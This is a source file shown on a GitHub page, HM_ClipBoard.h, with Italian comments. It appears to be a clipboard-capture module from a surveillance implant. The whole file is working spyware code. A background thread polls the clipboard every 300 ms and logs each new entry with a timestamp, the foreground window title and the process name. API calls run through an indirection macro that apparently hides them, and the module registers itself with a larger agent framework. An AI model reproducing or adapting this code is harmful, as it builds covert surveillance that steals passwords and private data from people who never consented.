-
Notifications
You must be signed in to change notification settings - Fork 166
/
Copy pathHM_ClipBoard.h
119 lines (98 loc) · 3.57 KB
/
HM_ClipBoard.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
BOOL bPM_ClipBoardStarted = FALSE; // Flag che indica se il monitor e' attivo o meno
BOOL bPM_cbcp = FALSE; // Semaforo per l'uscita del thread
HANDLE hClipBoardThread = NULL;
WCHAR *old_clipboard_content = NULL;
DWORD WINAPI PollClipBoard(DWORD dummy)
{
HANDLE hData;
HWND hFocus;
WCHAR svTitle[SMLSIZE];
WCHAR svProcName[SMLSIZE];
DWORD dwProcessId = 0;
char *asc_proc_name = NULL;
WCHAR *clipboard_content;
DWORD clip_len;
LOOP {
hFocus = GetForegroundWindow();
FNC(OpenClipboard)(hFocus);
if ( (hData = FNC(GetClipboardData)(CF_UNICODETEXT)) ) {
clipboard_content = (WCHAR *)GlobalLock( hData );
// Se e' la prima volta che trova contenuti, o se sono diversi dalla volta
// precedente...
if (clipboard_content && (!old_clipboard_content || wcscmp(old_clipboard_content, clipboard_content))) {
clip_len = wcslen(clipboard_content)*2;
clip_len += 2; // Aggiunge la NULL termination
SAFE_FREE(old_clipboard_content);
// Salva il contenuto della clipboard per confrontarlo con
// i prossimi.
if (old_clipboard_content = (WCHAR *)malloc(clip_len))
memcpy(old_clipboard_content, clipboard_content, clip_len);
FNC(GlobalUnlock)( hData );
FNC(CloseClipboard)();
// Scrive la finestra, il timestamp e il contenuto della clipboard salvato
if (old_clipboard_content) {
// Scrive il titolo della finestra e il timestamp
memset(svTitle, 0, sizeof(svTitle));
if ( HM_SafeGetWindowTextW(hFocus, (LPWSTR)svTitle, SMLSIZE-2) == 0 )
wsprintfW((LPWSTR)svTitle, L"UNKNOWN");
// Scrive il nome del processo in foreground
FNC(GetWindowThreadProcessId)(hFocus, &dwProcessId);
if (dwProcessId && (asc_proc_name = HM_FindProc(dwProcessId))) {
memset(svProcName, 0, sizeof(svProcName));
FNC(wnsprintfW)((LPWSTR)svProcName, SMLSIZE-2, L"%hs", asc_proc_name);
SAFE_FREE(asc_proc_name);
} else
wsprintfW((LPWSTR)svProcName, L"UNKNOWN");
// Costruisce e scrive il log
bin_buf tolog;
struct tm tstamp;
DWORD delimiter = ELEM_DELIMITER;
GET_TIME(tstamp);
tolog.add(&tstamp, sizeof(tstamp));
tolog.add(svProcName, wcslen(svProcName)*2+2);
tolog.add(svTitle, wcslen(svTitle)*2+2);
tolog.add(old_clipboard_content, wcslen(old_clipboard_content)*2+2);
tolog.add(&delimiter, sizeof(DWORD));
LOG_ReportLog(PM_CLIPBOARDAGENT, tolog.get_buf(), tolog.get_len());
}
} else {
FNC(GlobalUnlock)( hData );
FNC(CloseClipboard)();
}
} else
FNC(CloseClipboard)();
CANCELLATION_POINT(bPM_cbcp);
Sleep(300);
}
}
DWORD __stdcall PM_ClipBoardStartStop(BOOL bStartFlag, BOOL bReset)
{
DWORD dummy;
// Se l'agent e' gia' nella condizione desiderata
// non fa nulla.
if (bPM_ClipBoardStarted == bStartFlag)
return 0;
// I log va inizializzato come prima cosa...
if (bStartFlag && !LOG_InitAgentLog(PM_CLIPBOARDAGENT))
return 0;
bPM_ClipBoardStarted = bStartFlag;
if (bStartFlag) {
// Crea il thread che esegue monitora la clipboard
hClipBoardThread = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PollClipBoard, NULL, 0, &dummy);
} else {
// All'inizio non si stoppa perche' l'agent e' gia' nella condizione
// stoppata (bPM_ClipBoardStarted = bStartFlag = FALSE)
QUERY_CANCELLATION(hClipBoardThread, bPM_cbcp);
// chiude il logging (come ultima cosa)
LOG_StopAgentLog(PM_CLIPBOARDAGENT);
}
return 1;
}
DWORD __stdcall PM_ClipBoardInit(JSONObject elem)
{
return 1;
}
void PM_ClipBoardRegister()
{
AM_MonitorRegister(L"clipboard", PM_CLIPBOARDAGENT, NULL, (BYTE *)PM_ClipBoardStartStop, (BYTE *)PM_ClipBoardInit, NULL);
}